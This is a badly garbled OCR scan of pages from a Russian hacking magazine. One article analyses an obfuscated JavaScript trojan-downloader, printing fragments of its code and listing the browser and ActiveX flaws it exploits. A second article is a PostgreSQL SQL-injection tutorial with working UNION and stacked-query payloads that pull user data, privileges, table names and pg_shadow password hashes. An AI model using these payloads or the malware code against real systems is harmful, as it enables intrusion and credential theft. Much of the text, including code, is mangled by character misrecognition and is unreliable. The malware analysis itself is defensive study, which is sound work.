GHEEH,EI,HE:H‘/’\ BbIX0[, O KOTOPOM, BepOﬂTHD, Thl
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Hings e v ber ORG-HPC

<htmiz|
<bady>
J| <scrint language="javascript>

VLcQOniZw=ra7b26C78: ) ) eval (HENnmE3YO) ; )
ISGm)¥en3 [ 152B0785947

function 158m)Y6n3 (Gn84w0E0d) (var cljXcSnPQ-arguments.callee.toString().replace(/\¥/g,'"').colppertase() var
eLIGFIF7p;var ra7bf6C78;var J24F1wD40=t131XcSnPQ. lengthivar WGBMbAIIT;var MENnm63I¥O=''ivar LXjk2bnx0=new

Arzay() ; £or (ra?hr6C78=0; raThL6C78<256; raTh6CT8++) LXIKZbnX0 [ra7hl6C78] =0;: var eLIbPIF7p=1;Tox (ra7bf6C78=128; ra’ht6C78;:
ra7bL6CT8>>=1) (eLIbPIF7p=(eLIbPIF7p>>>1)” ((eLIDPIF7p£1) 23988292384:0) : for (B776YPewP=0; BT76YPevP<256:
BT76TPewP4=ra7bf6CT8%2) (LEIK2bnx0[B776VPawP+raThE6CT8] = (LEIk2bnx0[B7767PevP] “eLIbPIF 7] 7 48
(LXIK2bnx0([BT76YPevP+2a7bL6C78] < 0) (LX)k2ZbnxO[B776YPevP+raThLeCT8] +=4: 6
eLIbPIF7p<IE4F1v040; eLIRPIF7p+4) (UGEWLA3IT-LX1k2bnx0[ (WGBWR43 [T £1)XcSnPQ. charCodelt (eLIbPIF7p) ) £255] * ( (UGBULA3IT>>8) &
167772185) ; jvar a0MihygDE=new Array();var VLcQOni2w=2323;UGBWb43IT=UGBUD43IIT 4294967285;1f (UGBUD4IIT<O)
{UGBUD43IT+=4294967296; ) ¥GBUD43 IT=UGBUh43 IT. toString(16) .toUpperCase {) ;var WuULoPlPé=new Array() ;var
J£4F1w040~UGEWLA3 IT. length; for (ra7bf6C78=0: raTbE6C76<6; rath26CT84++) (var urCealimi=)£4F1v040+ra7hisC?s:
aONNRygDE[ra7hE6CT8]) =1 a0MNhygDE[raTbL6CT8] =VLCQORi2w: 12 (UrC6112mi>=8) (urc6ilzmy=urceilmv-

8: WuULOP1PS [ra7hI6CT8] =WGBWL43 IT. charCodeAt (urc6112mi) ;) alse (WuULOP1P6[ra7blsC78]=48;) var WEI7A058p=0;var
¥siugP2ai;ver OuRX2x03g:var qiqF7Hwsy:)f4F1v040=GnB4vOLod. lengeh: qigF7Hesy=3£4F 19040:VLoQOniZu=1123:VLeQOni2v=giqF THusy:
for (raThE6C78=0; ra7bIsC78<IL4F1u040; ra7hl6C784=2) (var mHN4E0BB=Gn84v0T0J, substr (FA7TDEECTE, 2) ;

¥zluxP2aj=parselnt (mKEN4508E, 16) ; OuRX2x03g=VsluxP2Zaj-WulLoP1P6[U617d058p) ; 1E (QURNZx03¢<0)

{OuURE2x03g=0uRX2X03g+256; ) HENmE 1 Y0 +=String. fromCharCode (QURX2x03g) ; g1qF 7Hway++; VLoQOniZ w3891;

A (HEI7dOSBp<UuULOP1PE, length=1) {W6I7d0S8p++; VLeQ0ni2v=1092; aDMNhygDE [ra7hi6C78] =20; ) =lse {(U6I7d0OSp=0;

725C8B%h7Aac7494aa82 7c5acOBBI4 A4 61809cT7995927eadAF TAT492b TacaBILA6A2ABalT3al

96:) ) I WGBWDASIT 95; for (eLIbPIF7p=0;

716cSASB6FaBast6B5B5S8A464950A0966d6e62ABa2at5776B1ACTI6672784
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? function ozavD2Bv(len)

(

4 var chars = "shcdefohiklmnooor stuvwxes™:

o~ Hosoe Hat &

* this

has no toString()
function

06®YCLUMPOBAHHbIN KOO YATAETCA C TPYI0M

Cpasy xe nofyman, — UCNojb30BaHKE BUPTYanb-
HOW MaLLMHBL He aymMato, 4To 370 pelleHre MOXKHO
Ha3BaTh NOAXOASLMM: ONepaLOHHas CucTema,
paboTaiolan ne ee ynpaBneHneM, MoxeT BbiTh
3apaskeHa ToyHo Tak ke, kak 1 OC, ynpasnaemas
MaLwnHoR «xeneznom». ng vccnegosaHms
TposiH-noagepa Yacro TpebyeTca gocTyn K ceTu, a
370 3HAYUNT, 3apaxeHHas BUPTYaNbHas MallkliHa
CTaHeT MCTOYHMKOM NOTEHLMANBHON 0MacHOCTK,
YTO HeMprUeMneMo. ANsTEpHaTUBHOE pelleHne —
WCMONb30BaHKE TaK Ha3biBABMBIX «MECOYHNL»

— YTUNUT, CNOCOBHBIX BEINONHATL MPOrPaMMbl B
McKyccTBeHHo co3anHol cpede. [1pu 3anycke
Bpaysepa B «MeCOUHULE» BCE MIMEHEHMWS, KOTO-
PHIE MHULMKMPYET BLINONHAR MBI [ava-Kof, HuKak
HE BJIMAIOT HW HA OMEPaLKOHHYIO CUCTEMY, H Ha
cucTeMy GannoBya. 4 pekoMEeHYI0 UCNOMNB30BaTS
Sandboxie — 3Ta 3aMeUYaTENBHAR «NECOYHUL»
obecneymT noanyio besonacHocTs Npu pabote
CNeTeHUWanbHO BpeAoHOCHKIM [aVa-KoMoM.

W nocnenHee: aHTUBUPYCHBIE CPELCTEE MOTYT
BOCMPENATCTBOBATE MCCNEN0BaHUID, NO3TOMY BO
BPEMA «MCMBITAHNA» WX IYYLLIE OTKNIOYNTE.
CyuiecTByeT HeobbiuHbIA METON, NO3BONSA LN
MONYYMATE TEKCT €MCXOLHOM0», He3aLWKILEHHOrD
TPOsH-J10a[lepa, KOTOpbIA reHepupyeT javascript-
cueHapuid. OH HeBEPOATHG MPOCT, M Mbl PACCMOT-
PYM €70, 0AHAKO HY>XHO MNOMHKTE, 4T0 MCMOb-
30BaHMe METoa He AaeT NOJIHOMO NOHUMaHKA
MPUHLMNOB 381WThl javascript-koaa (M cnocobos,
1103BONAKLLMX 3TOT Kog BoccTaHoBKTs]. [osTomy
Mbl yIENUM HEMHOTO BpeMerM pa3bopy 3auumT-
HbIX METO0B, KOTOPbIE AONCNHAT 0bdyckaumio.
Wrak, nepevigeM K npakTrke.

3anyckait bpayaep s Sandboxie, neperauys

ero Sp/bIK NPAMO HA OKHO NperpaMMel [aymaio,

4to c HacTpolikamm Sandboxie To pasbepelus-

CHA CAMOCTOATENTLHD, OHU HECTIOXHEI — B KOHUE
KOHL,0B, MOXELLb NPofon#u1Ts paboty B pexume

» 074

«noymondyanuio»]. Korna bpaysep byner sanywier,
OTKPOW Gaiin, B KOTOPOM COEMKMTCS BPeLOHOCHLINA
KOf, NpefBapuTeNnsHO aKTMBUPOBaB ckHo Firebug
HaKaTieM Ha n3cbpaxeHWe CMNaTUYHOMO Xy4Ka B
npasoM HikHew yry bpayzepa. Cxpunt BEINON-
HWTCS, 8 Hac aBToMaTH4eCcKy NepebpocuT Ha calT
nouckoBoi cucTemsl Google. Yo, ona Havana He-
rnoxo. Firebug yxe oTcneann GyHKUMOHANEHOCTL
CKPWMTA, U MOXHO MPUCTYNaTh K 210 NOBTOPHOMY
BbINOJIHEHWIO C LIEMNbI0 NETANBHOIO UCCNen0BaHns.
B oxHe Firebug nepeinem Ha knapky «Cuenapuii»
(«Script» 8 aHrnuitckoil Bepcum nnaruma; Byaem
CUMTaTb, YTO Thl YCTAHOBW PyCHOULIMPOBaHHYIO
sepcwio Firebug). Eciv ona otkniodena, Heobxo-
AVIMO ee aKTHBMPOBaTh. CeRuac HKHO BKIKYUTE
onumio «0cTaHaBNnBaTsCa Ha Bex olLmbrax». 310
MOMOKET HE MPCCKOYMTL Yepe3 LeNeBow CKpUNT 1
OCTaHOBMWTLCS Ha OLHOM 13 OLUMBOK, KOTOpPbIE OH
UHWUMKpyeT. [locne Toro, kak 370 CAenaHo, HaxMeM
Ha kHorKy bpaysepa «Hazan» v 0BHOBUM CTRaHULLY.
Brinonxerme [ava-koa MOMeHTaNbHE MpUoc-
TaHoswTCH, a B okHe «CueHapwid» oTobpasntea
cneaytolLlee cooblueHwve:

r = CLSID.CreateObject (name); CLSID.

CreateObject is not a function.

Ownbka no3sonmna 0cTaHoBWTLER NPSMO 8
nebpsax pacnakoBaHHOrC TPOSH-N0a4epomM
BPEAOHOCHOID Koaa. UTobel nonyymTs JOCTyN K
TEKCTY 3TOr0 jJava-CKPUNTE, HeobXOAMMO HaxXaTs
Ha kHoMKy Brknaaku «CueHapui», 0TKpbIBaK-
LUYIC CIMCOK BCEX BINONHAOWMXCA CKPUMTOB U
pparMeHToR Kofa, KoTopkIe NepeaaoTcs GyHKLMK
eval (], v BeiBpaTh Wz crivcka camblii nocaeAHWI
BapWaHT. B 0CHOBHOM OKHe Bknaakm «CueHapui»
BO3HWKHET KOA PacWnbpoBaKHoro java-ckpunTa.
TekcT noafepa cTobpaxaeTcs, Ho CKONMPOBaTE U3
oxHa Firebug, Kak H¥ CTPaHHO, €10 HEBOIMAXHO. 370

HEe0CTaTOK MAaruHa — TEKCT He MOXET BbiTb Cko-
MUPOBaH 13 HEr0 KOPPEKTHO, ECAN UMEeT CAULLIKOM
Bonbuioii pasmep (byHkups «Konmposars nexos-
HbI Kog» He hYHKLWMOHMPYET; BO3MOXHO, B HOBOW,
bonee crabunbHoi Bepeun Firebug HefocTatok
byneTyctpateH]. PelueHye Bce-Taku cylLecTByeT.
Otkpoit Bknaaky «CTeKk Bbi30BOB», KOTOpas pacno-
naraetcs crpaga o1 okHa «CueHapuii», v sbibepu
143 CTICKa BbI30BOB (yHKLMIo «0D2vKFj6 1>, ABTo-
MaTuuecky oTobpasvnTca Heobxo oMbl Ham Kog,.
Haiiam B okHe kopa nepemenHyio «ud7al0viWs.
Kak Byavilb, CKPUMT BLINOMHSET ONpefeneHHbI
Habop MHCTPYKUMIA, NONYHeHHbBIW B pesyibTare
HEKMX MaHUMYARLMIA C 3aMdpOBaHHON| CTPOKON,
nyTeM BbINoHeHKst koMaH bl «eval (ud7a00v7W)».
Otkpoii Bknapky «HabnioaeHues, pacnonoxen-
HYIO CripaBa 0T 0KHa cueHapus. Haxmu Ha mone
«HoBoe HabnwogeHne...» N BBEOW MMA NepeMeHHo
[ud7a00v7W). Mocne a1oro oHa oTobpasuics B crvc-
ke «HabnwopeHne». Haxmm Ha Hee NpaBoi KHOMKOW
MbiLLIW 1 BblBepur «KonuposaTs 3HadeHue». Teneps
pacLIMpPOBaHHbIF KoL TPOSH-N0aAepa HaxoanTes
B bydepe obmena.

lNepsbie TpyaHOCTM ocTanuck no3aau. Moro-
BOPWM 0 TOM, KBKWUMW MYTSMW TPOAHOMMUCATENb
MEITanca «oTOuTs HIoX>» ¥ PEBEPCEPA 1 33CTABWTE
€ro 0TKa3aTbea 0T uccnefosaHvs. BoamoxHo,

Thl yAMBULLILCS, HO 0BdycKaums 1 LndpoBaHe
KOAa — He eMHCTBEeHHOe, 4TO Bbino NpunaceHo B
apceHane agropa noagepa (06 s1om f ynomuHan
YyTh BblLLE, KOTAA PEYb LUNE 0 HEBO3MOXHOCTH
3anycka geobdycunposantoro kopal. Ecnv eru-
MaTenbHO NOCMOTPETL Ha Kag, 00¢gycurpoBaHHo-
O CKPUNTA, MOXHO 33METUTL JOBOSTBHO CTPAHHYO
KOHCTPYKLWD, PaCMONOXKEHHYIO BHYTPY PYHKLMAK,
KOTOpas 3allycKaeT NPOLect AekoAMpoBaHUA:

var tljXeSnPQ=arguments.callee.
toString () .replace(/\W/g,'').

toUpperCasel() ;

[anee, no xofy BEINOAHEHNA GYHKLMM, 3HA4EHKE
nepemerHoi t1jXcSnPQ ncnonbayeTcs HeckonbKo
paz. Beizoe gyrkuum callee maccuea arguments
Hapsy ¢ npeobpascBaHMeM 3HaUEHUs B CTPOKY
[«toStringl]») ykasbiBaeT Ha To, 4To GYHKUMA
VCTONb3YET COBCTBEHHBIN TEKCT ANS BRINONHEHUS
JelundposaHua. IT0 NPenaTCcTBYeT BMeLLaTeNb-
CTBY B KOA PYHKLMM, M €€ M3MEHEHWE CTAHOBUT-
CH HEBO3MOXHBIM. [TanbiTKa nony4eHms Koga
paCLUN(PPOBAHHOIO CKPUMTA MYTEM BHEPEHWUR

B Javascript-Ko/ KOHCTPYKLWIA, NPUCBaNBa-
LWWX ero 3HaYeH e aTpubyTam TeKCToBbIX monen
html-pokymeHTa, 3akaHynBaeTcs Heyjauen.
Hanpumep, BLINONHEHWE NPYCBOEHWA 2HAYEHIA
atpunbyty «VALUE» cneunansHo coznanHoro tera
«TEXT» nuweHo Tyt Kakoro-nubo cMbicna, Bedb
Pe3YNLTAaT PACUUbPOBKA NPW N3MEHEHWA TENa
byHKUWM ByOeT MTPUHLUMMMANBHO WHBIM, HEXENW B
cnydae C BEIZ0BOM OpPUIMHANBHOW delindpyouen
byHkumn. [No 310l NpUUKHe MCnonb30BaHKue 0T-
NapuYunka javascript-cueHapues — 0uH U3 CaMblx
npocTeix criocobos, No3BoNAIOLKMX 3OGOeKTUBHO U
BLICTPO 0BXOAWTEL JOCTATOHHO CIIOXKHYIO 3aLLMTY.

XAKEP 10 /130/ 09



) 21 SecurityFacus - Hozilla Firelox 4]

ol v ar %
IEJ Moa Crpassua 2 Cavesn nongnapreie £ Mon Crpasaia @0 Havansiiza crpassus
8- oo

" SecuilpFocus

& b e securtydocus. com/

SRR AR

Just violating the tarms of sarvice of a public-access Web
site is not enough to be convicted of a violation of hacking
statutes, the judge rules.
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SANDBUXIE —HU TPOﬂHbI « KOPOBKE»' HAﬂE}KHEE BMPTYAﬂbHOH
MALLWHDI

JIATAEM AbIPbl

Kog TponH-noagepa nonyyeH, octaeTcs nuilb
MpoaHanM3upoBarts ero, U3sneyb Heabxogumble
LaHHBIE 1 381aTaTh AblPbl, KOTOPLIE, BOZMOXHO,
MPUCYTCTBYIOT B Bpay3epax v onepaumnoHHoi
cucTeme.

OcHoea Tpoan-noagepa — Habop dyHKUKA,
MCMONb3YILWNX AOCTYMHLIE YA3BUMOCTH N1
BHINONIHERUS BpeoHOCHOo koga. KonnuecTeo
YHKLMIA PABHO CEMU; 8CIIW YUeCTb, YTO KaXaas u3
HWX IKCMIYaTNPYeT HeKOTOPYIO Cepbe3Hyio AbIpY B
Be30nacHoOCTH, MOXHO YOEAUTLCA, HACKONBKO HE-
NPpUATHbIE NOCNEACTBUA MOXET MMETb BhINONHEe-
HIe CKPYNTa Ha HesaluUIeHHON MatirHe. Hike
MPYBELEH KOA, KOTOPKI BRIMONHAET OCHOBHYK

paboTy:

if (n0lter0f() || DnCWiFOJ ()

|| SOhxTHEY () || uSr_Qafm() ||
Fv20JVho () || uzbeukyw() ||
bF4sn2HS()) { }

setTimecut ( "window. location =
'http://www.google.com'", 5000) ;

Ml y>xe yBegunuce, 4To ckpunT nepebpaceisaet
Bpaysep Ha caiiT nonckosoi cucTemsl Google; Te-
MEpb — BLISICHWNW, YTO MPOUCXOANT HyTh PaHbLLE
3TOro cobbiTiA. 3aiMEMCA aHANM30M Kax/10M 13
dyHrumit. MNonckosukw, bionneTteHr besonac-
HOCTW W Bar-Tpexepsl MOMOTYT HaM B MOYHEHNUM
nofpobHOCTeN, KAacaoLMXCA Kax A0 N3 UCnofb-
3YEMbIX BPEAOHOCHBIM KOAOM Abip. [ToHbIA TekeT
KaX A0 13 QYHKLWA Tl MOXELL b HANTK Ha ANCKe,
TaK KaK pa3mMep sKypHansHOI CTaTby He No3BoseT
NPUBECTH MX LIeNMKOM. Mbl 0rpaHnyMMes Nils
CNHUCKOM ,lelp.

11 ®yHkupms «n0lterOf()»:

Wenonbayeres yassnmbli ActiveX-koMnoHeHT

XAKEP 10 /130/ 0%

(Bonee no;:;poE\Hne onucaHue FIPMBO,[I,VITCH 3eck:
tt y/vuls/id 2). Mpwi no-
MOLLM tbyHKu,Mm «yXjO37yr()» maucoﬁHa cozfaears
v 3arpyxars ¢ainn «C:\win....exe» [c nporasons-
HbIM HaBopoM cuMBONOE B uMen). NponcxoamnT

MOMbITKa 3arpy3ku c agpeca lii]

n.cqi?02010258020000000019

21 OyHkuma «DnCWIFO]()»:

DyHKLMSA NBITAETCA BLINOIHUTL KOJ, 3aN1caHHbIn
B UNEescape-nocnefoBaTensHOCTH, BUAMMO,
nposoLMpys NeperosHeHve bypepa.

) OyHkums «SOhxTHEY()»:

Mcrnonsayercs NonbITka CO34aHMA yA3BUMO-

ro ActiveXQbject-a v nepenontexus bydepa
[NonobHbIA MexaHu3M ucnonbayeTcs & Trojan-
DownloaderWin32.Tiny).

TEKCTJIOALEPANOJIYHEH

41 Oyrkums «ubr_Qafm()»:

MoepexneHve namMaTi yepes ActiveX s America
Online SuperBuddy [memory corruption]. MeTog,
NO3BONACT BbINOJIHATL ﬂeﬂCTBIAH Hap KoHTponwn-

pYeMbIM AUaNazoHOM NaMSTH.

51 Dyrkums «Fv2Q0Vho (J»:

[MoMbITKa UCMOAB30BAHNS MEPRMOIHEHWS KYHI,
yassumas brbnuoteka — NCTAudioFile2 dll

u3 NCTSoft NCTVideoStudio. MgeHTdukaTop
knacca [CLSID] — 77829F14-D911-40FF-A2F0-
D11DB8D4DOBC:

£ DyHkLms <uzbeukYW()»:

YA3BMMOCTD, coflepxaliancy g nporpaMme GOM
Player 2.1.6.3499 v bonee paHHKX ee BRPCUAX,
Mo3BONAET BbINONHATL HpOM3BOﬂbeH‘f‘1 KOO Ha
yaaneHHoi MalinHe. Oxa 3akniodaeTtcs B olnbke
NpoBEPKK rpannLL AaHHbIx B ActiveX-koMmnoHen-
Te GomWebCtrl.GomManager. 1 (GomWeb3.

dll) npu cBpaborke metopa «OpenURL()». fnga
BLINCAHEHWA MPON3BOMEHOTO KOJE UCTONb3Y-
eTCA NepefaYa fpy NoMoLLm ChopMMpoBaHHG K
CcCbUKK ANuHHora aprymenta [bonee 500 Baiit,
4T0 BEIZbIBAET NepenofiHeHne cTexa.

T DyHkuus «bF4sn2HS()»:

Owwbka, KoTopas MCNanb3yeTca GyHKLUNEH,
copepsxkuTcs B ActiveX-komnonerte Microsoft
Access Snapshot Viewer-a. Ya3BuM0oCTs N03B0-
SHET MHULMKMPOBaTL NepenonHexue bydgepa u
BLINOIHATL MPOU3BOSLHbIN KOA HA YAANEHHOH
MalKHe CnpasamMi NoONb30BaTeNd, 3anyctuslue-
ro Internet Explorer.

3AKJIIOYMEHUE

Kak Tbl, BO3MOXHO, 38METUN, TPOAHONMCATE

ni opueHTUposanuce Ha Internet Explorer,
KOTOPbIM NOMB3YETCs 0CHOBHAsA MAcca VHTep-
HEeT-cepdepoB, XOTH HEKOTOPLIE W3 yA3BUMOCTER
NpUCYTCTBYIOT W B Apyrux bpayaepax. Momumo
NPakTM4ECKON NONb3kl, 13 HALLEro ONbITa MOXHO
M3BJIE4E XOPOLUMEI YPOK: TPOSHOMWUCATEM MPUAY-
MbIB3IOT BCE HOBLIE CIOCODLI 3aPaxeHNs KOMMI0-
Tepoe NoNb3opatencii. Bnpouem, npotueocTonTs
MM BCE XE MOXHO, 1 B 3TOM Mbl CerogHs ybeau-
nnck. Yerexos B uccnepoBanusix! 30

Gafin  [paeca Bna  Mypran 3aknaamn  MwcTpyrentel  Crpasra
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sce®  serptl jehtmievat evallud7a00vAW..]..\n var sting_lengh =lenrin var randoms =

2 function ozavD2Bv(len)
{
I var chars = "shcdefghiklmnopgratuvixyz";
5 war string length = len;
6 var randomstring =
! for (var i=D; 1(sttmg length; i++) |

(] var rouws = Math.floor (Math.random() * chars.length);

9 randomstring += chars.substring (rnuw, countl) ;

)

1%  return randomstring;

onEHE
has ne toString()
functien
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PYKOBOACTBO MO PEAJIU3ALUN SQL-INJECTION BPOSTGRESQL

[oBops 0 Bazax fgaHHbIX, YenoBek, paboTatowmin B Bebe, ckopee Bcero
BcnoMumT MySQL, a nporpammuncT, cospatownii B nns kpynHeix Top-
rosbix kKomnaHun, — Oracle. Tem He meHee, PostgreSQAL cervac ogHa 13
CcaMbix MOULHbIX penaumnoHHbix CYB Hapaay c Oracle n Sybase u, ctout
3aMeTuTb, becnnatHas.

UNION,
BCE FEHMAJ'IbHDE— I'IPOCTO B pesynsraTe yBuaMM owmnbky: id (int)
Wtak, cpasy k fneny. PaceMoTpuM MHbEKLMIO BUAE title (text)
Query failed: ERROR: ORDER BY text (text)
SELECT id,title,text,is_enable FROM position 5 is not in select 1list
news WHERE id=$id; is_enable (boolean)
OTHUMaeM OT 3T0ro HMCNa eAUHILY U NoYYaeM
Ec/ivi Mbl He 3HaeM konmyecTso cTonbuoe, To kanuyecteo cTonbuos B 3anpoce. B HaweM cny- [onkiTka COCTaBWTL, HANPKUMEP, TAKO! 3aMpoc:
nopbupaem Tak xe, kak v B MySQL: Yae 310 bynet 4. CoctaBnsem ewe ofivH 3anpoc:
id=-1 UNION SELECT
id=1 ORDER BY 1 id=-1 UNION SELECT null ,null null, 123
id=1 ORDER BY 99 null,null, null, null
npusena bkl k cnepytoLlei owmnbre —
— nubo, ecnny Hac ecTs BLIBOA owwnbok, cnegyr-  BaxHoe otnvyne MySQAL ot bonbiunHcTea gpyrx
um 0bpasom: CYB[ — BTOM, 4TO OHE UTHOPUPYET KOHMIIUKT B Query failed: ERROR: UNION types
Tunax konoHok npu UNION. B Hawem cnyuae nona boolean and integer cannot be
1d=1 ORDER'BY 1,2 ,3;4,5,. .. ,39 WMBIOT TUM: matched
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Kak npasuno, HaM Tpebyetca BoiBog B cTonbLax
Tuna text unu char.

Y3HAEM 0 CEBE

ﬂpe»q:l,e BCETO0, Y3HaEM, KTO Mbl TAKWNE [TE CBOW
npagaw O6HBHHHOCTM], BbINOAHWE 3aMNpOoC:

-1 UNION SELECT
aull, null, cur rent user,null

ATakxe nony4mM nonxoe nHbo o cepsepe:

id=-1 UNION SELECT
null,null,current
database()||':'||version(),null
3necs cTowT pa3obpaTts 3anpoc no vactaM. Bo-
MepBbIX, B HEM UCMONL3YIOTCH cneyuduieckmue
DyHKLMM:

current database() — BHBOOUT Ha3Ba-
HME TeKylel 6a3e DaHHHX
version() — aHamorumyHo ¢ My SQL BHBO

OnT Bepcuio PostgreSQL

Bo-eTopbix, Ans 06beAMHEHNS UCMONB3YIOTCH
CumBons nainnos «||», ananor Gyrkumu concat|(]
B MySQL. W, B-TpeTbux, paszaenvTenem BeicTynaer
CUMBOJ ABOETOUMS «:», 0BpamMneHHbIA KaBblY-
Kam.

3anpoc BO3BPATUT PE3Y/ILTAT:

sitedb:PostgreSQL §.
redhat-linux-gnu, compiled by GCC
gee (GCCY 4.1.2 20071
4.,1.2-4;

3.7 on x86_64-

(Red Hat

42)

PaccMmoTpiM ciiyqai, Koraa yasgnMoe npunoxe-
HWe HanucaHo Ha PHP, 1 B ckpunTe ncnonsayetcs
dyHkuua addslashes(], nubo B paiine php.ini
BK/IIOYEHE OUPEeKTHBa magic_guotes_gpc.
1.chrl()

OyHkuma chrl] nonydaer oguH Ymcnosoi apry-
MEHT «N» TMNa integer v Bo3BpallaeT CUMBON
cASCll-kofioM, pagHsIM «n». Y3HaeM uap-kog

CMMBONE «:» M COCTaBIHAEM 3ampocC:

id=-1 UNION SELECT
null,null,current_database() | |chr{

58) | |[wversion() ,null

3710 He oueHb y0BHO, Tak Kak MHOrA B KaBbiYky
Hy>¢H0 0DpamMnATh [OBONEHO ANMHHY CTROKY. TyT Cy-
LecteyeT bonee ynobHsIN Cnocob, ONMcaHHbIN Huxe.

PE3YJIbTAT YCTNELUHO INPOWU3-
BEJAEHHOI 0 BACK-CONNECTA.
MNOoJIb30OBATEJIb POSTGRES
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KAKWUB APYITUXCYB/, B POSGRESQL
CYWECTBYHOT CTAHOAPTHbIE CUCTEMHbIE
TABJIULbl. KHEKOTOPbIM UMEIOT AOCTYT BCE.

2. Stext$

I8z 3Haxa ponnapa roeopst PostgreSQAL o Tom,
YT f@Nee B 3anpoce cnenyeT cTpoka. K

370 CaMmbli Ny4Lwnia cnocob obxoga akpaHvpoBa-
HWS KaBbl4ek. Hal 3anpoc ByAeT BEIrNaLeTb Tak:

id=-1 UNION SELECT

null, null ;curs 5

nt_database() | |Stex
,null

rsion ()

Mo npasme rosops, CNOBO text Mexny 3Hakamm
L0ANapa MOXHO OAyCTHTs o).

id=-1 UNION SELEC

null,null,current_database()|[55:5

$| [version() ,null

CUCTEMHAA UHOOPMALUA

Kakw e ppyrvx CYB, B PosgreSQL cywectsyioT
CTaHOapTHbIE CUCTEMHbIE TBGJ'WILU::\. K HEKOTOPbIM
VIMEIT JOCTYI BCE, @ K HEKOTOPbIM TOMLKO Cynep-
j0zep.

1.pg_user

Tabnwua, poctynHas BceM nons3osatensm. [ons-
34 XaKkepy oT Hee Heﬁmmmaﬂ, HO BCe >Ke OHa eCTb.
HTepecHbIe nons:

isename — UM% NonbL3oBaTens (Tun
name)
1sesysid — ID nonszosarens (Tumn int)

usecreatedb — MoxeT nu Dons30BaTENR

co3zaBarTk bass DaHE (Tun boclean)

usecatupd — MOXET N1 MONE20BATENR

BHOCMTE M3MEHEeHWS B CUCTeMHBe Tabimu-
el (Tun boole:
usesuper Mr1e JI4 TIOJIE30BaTelb

nmpuBMIeTu superuser (Tun boolean)

anpoc]

Torose

MHBEKL WS B POSTGRESQL YACTO CTABUT B TYNUK

Yr06bl y3HaTs bonblle MHGOPMALMN O HaLLeM
nosb3oBarese, COCTaBAAEM Takoi 33Mpoc:

id=-1 UNION'SELECT null,null,usena
mel|':"||cast (usesysidtas+ttext) | |
':'| |cast (usecreatedbtas+text) | |
: ' | |cast (usecatupd+as+text) || " |

|cast (usesuper+as+text) ,null FROM

pg_user WHERE usename=current_user

B utore, nonyymM pesynstaT BMaa —

0

admin:16385:true:true: true

B npeablayliem 3anpoce beina UCNonb3oBaHa
pyHkuna castl], ora, Tak ke, kak v 8 MySAL, npe-
0bpa3yeT TWNLI AaHHLIX. B HaweM cnyyae npowc-
XoauT npeobpazoBanue int>text v boolean=text
2.pg_shadow

Tel ceiiyac, ckopee BCero, BCMOMHUA daiin /etc/
shadow, 8 KoTOpOM HaxogATCA NAapOAW NOSb-
30BaTenei 8 bonblwmHcTBe *nix-cuctem. M He
3ps! Tabnuua pg_shadow, B oTnuyve ot pg_user,
xparHuT B cebe ewle v Naponu nons30BaTenei.
Monpobyem y3HaTb Napob:

id=-1 UNION SELECT null,null,usenam
el|':"| |passwd,null FROM pg_shadow

WHERE usename=current_user

admin:mdsdb55167
5726371

e34e895d45a084f1

Kcoxanenuio, goctyn k Tabnuue pg_shadow ects
TOJIbKO Yy H03epa C rpaBaMu usesuper.
Z.pg_language

JroTabnuua, B KOTOPON COREMKUTCHE MHDOPME-

Bntichat.ru

Avaen > Ot Torry ¥ Do

Farumantchatiy
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HEBOJIbLUASA 3AM

vy ki postipess!

ETKA «HACKING WITH POSTGRESQL» HA

WWW.DEPESZ.COM

» info

BHumarwne! MHdop-
Mauug npepcTasieHa
UCKITIOYUTENIBHO

C UeNbio 03HaKOM-
nennal Hu agtop, Hu
pefakuns 3a Teon
JeWUCTBMS OTBETCTBEH-
HOCTK He HecyT!
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L5 06 yCTaHOBNEHHbIX NPOLLEAYPHbIX A3bIKAX.
MonpobHee — uyTs NO3xe, 3 NOKa MPUBE/LY €€ HEMOMHYIO
CTPYKTYPY:

lanname — HazBaHMe f-

— fAB

lanispl scerga
false mona a3ska sgl

ltrusted — sBns

BCTPEYAMTE...
INFORMATION_SCHEMA!

PagogatsCs v nnakate, Ho 8 PostgreSAL cywecTsyer
noniobusLancs Ham B MySQL > 5.0 ba3a information_schema,
copepxallan s cebe nudopmaLmio obo scex Tabnnuax 1
KONOHKaX, OCTYMHbIX TekylleMy nons3osatenio. CTpykrypa ee
HDBKTVIHE‘LKH MOeHTHUYHAE

Y3Haem uHTepecyiolLyo Hac Tabnuuy:

id=-1 UNION SELECT null,null,table_name,null

FROM information_schema.tables LIMIT 1 OFFSET

0]

CtouT3amMeTuTh, yTo onepartop limit nmeet B PostgreSAL apy-
TOI BUA W COCTOWT U3 [1BYX HacTen:

LIMIT — uucno 3anuceit, kotopoe bynet suiseaeHo 13 Bl
OFFSET — HoMep 32nKcK, Ha4rHas ¢ KoTopol bynet nponcxo-
uTh BoiBoA [0 — Hauano oTcueral.

WTak, Mbl HALLLAW MMA Tabauuel, — NycTo 370 byaeT users. YaHa-
BM MMEH3 NOJIeH 33MPOCoM:

id=-1 UNTON SELECT null,null,column name,null
FROM information_schema.columns WHERE table
name='users' LIMIT 1 OFFSET 0

Hya nansiue ssisoaum, Tak xe, kak v B MySQL [tonbko He 3abel-
gait npo Tkl v limit offset].

PA3LENSAN WU BNACTBYA

[lo 2TOro MOMEHTA Mbl PACCMATPUBANN KNACCUYECKYIO MHBEK-
unia cucnonk3ceakuen onepatopa UNION. Ceitvac a nokasxy
Tebe Bonee MHTEpeCHbie cmocobbl.

BonblMHCTE0 M3 HUXKe onucaHHoro byget paboTate, eciny
TekyLIEro NONb30BaTENs eCTh NpaBa usesuper. 3amedy, 4To
rakoe TyT BCTpeuaetcs HamMHoro yatye, yem s MySQL. OpuH u3

FNaBHbIX NNCOB MHbaKUWK B PoslgreSAL — BO3MOXHOCTL
pasgeneHuii 3anpocos CUMEOMNOB TOYKK C 3angToin ;"B Hawem
nprmepe 310 BypeT BbiraAeTh Tak:

1d=10; SELECT 123
Muryc Takoro cnocoba — Mbl He BUAMM BLIBOAA BTOPOTD
3aMpOca, HO M 3TO He NoMexa. ANOMOXET HaM 3[,eCh 3Hakomoe
npecbpasosanue Tunos. Nonpobyem npeobpasosars Tun text s
TMn boolean 1 NOCMOTPMM, HTO U3 3TOFO BLIAAET:
1d=10;SELECT CAST (version() AS boolean)

B pesynsTare 3anpoc BEPHET OLMBKY:

Query failed: ERROR: invalid input syntax for

tyvpe boolean: "PostgreSQL 8.3.7 on x86_64-

linux-gnu, compiled Cgce (BAT)

4.1.2 20071124 (Red Hat 4.1.2

OpHaxo 3707 cnocob He ByneT paboTaTh, ecinm none MMeeT TN
name. K npumepy, Takol sanpoc:
1d=10; SELECT+CAST {us

